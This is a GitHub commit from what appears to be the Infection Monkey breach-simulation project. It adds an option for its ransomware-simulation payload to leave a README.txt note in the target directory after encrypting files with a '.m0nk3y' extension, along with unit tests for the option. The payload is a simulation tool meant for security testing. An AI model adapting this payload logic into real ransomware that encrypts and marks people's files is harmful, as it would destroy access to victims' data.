Skip to content

Commit 535a327

Browse files
committed
Agent: Leave a README.txt in ransomware target dir if it's configured
1 parent 97b01be commit 535a327

File tree

2 files changed

+39
-3
lines changed

2 files changed

+39
-3
lines changed

monkey/infection_monkey/ransomware/ransomware_payload.py

+15
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import logging
2+
import shutil
23
from pathlib import Path
34
from typing import List, Optional, Tuple
45

@@ -14,6 +15,9 @@
1415
EXTENSION = ".m0nk3y"
1516
CHUNK_SIZE = 4096 * 24
1617

18+
README_SRC = Path(__file__).parent / "ransomware_readme.txt"
19+
README_DEST = "README.txt"
20+
1721

1822
class RansomewarePayload:
1923
def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger):
@@ -29,6 +33,9 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger):
2933
else target_directories["linux_dir"]
3034
)
3135

36+
self._readme_enabled = config["other_behaviors"]["readme"]
37+
LOG.info(f"README enabled: {self._readme_enabled}")
38+
3239
self._new_file_extension = EXTENSION
3340
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
3441
self._valid_file_extensions_for_encryption.discard(self._new_file_extension)
@@ -39,6 +46,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger):
3946
def run_payload(self):
4047
file_list = self._find_files()
4148
self._encrypt_files(file_list)
49+
self._leave_readme()
4250

4351
def _find_files(self) -> List[Path]:
4452
if not self._target_dir:
@@ -67,3 +75,10 @@ def _add_extension(self, filepath: Path):
6775
def _send_telemetry(self, filepath: Path, error: str):
6876
encryption_attempt = RansomwareTelem((str(filepath), str(error)))
6977
self._telemetry_messenger.send_telemetry(encryption_attempt)
78+
79+
def _leave_readme(self):
80+
if self._readme_enabled:
81+
try:
82+
shutil.copyfile(README_SRC, Path(self._target_dir) / README_DEST)
83+
except Exception as ex:
84+
LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}")

monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py

+24-3
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import os
2-
from pathlib import PurePath
2+
from pathlib import Path, PurePath
33

44
import pytest
55
from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
@@ -22,7 +22,11 @@
2222
from tests.utils import hash_file, is_user_admin
2323

2424
from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module
25-
from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload
25+
from infection_monkey.ransomware.ransomware_payload import (
26+
EXTENSION,
27+
README_DEST,
28+
RansomewarePayload,
29+
)
2630
from infection_monkey.telemetry.i_telem import ITelem
2731
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
2832

@@ -42,7 +46,8 @@ def with_extension(filename):
4246
@pytest.fixture
4347
def ransomware_payload_config(ransomware_target):
4448
return {
45-
"directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)}
49+
"directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)},
50+
"other_behaviors": {"readme": False},
4651
}
4752

4853

@@ -166,3 +171,19 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_
166171

167172
assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0]
168173
assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1]
174+
175+
176+
def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_messenger_spy):
177+
ransomware_payload_config["other_behaviors"]["readme"] = False
178+
ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy)
179+
180+
ransomware_payload.run_payload()
181+
assert not Path(ransomware_target / README_DEST).exists()
182+
183+
184+
def test_readme_true(ransomware_payload_config, ransomware_target, telemetry_messenger_spy):
185+
ransomware_payload_config["other_behaviors"]["readme"] = True
186+
ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy)
187+
188+
ransomware_payload.run_payload()
189+
assert Path(ransomware_target / README_DEST).exists()

0 commit comments

Comments
 (0)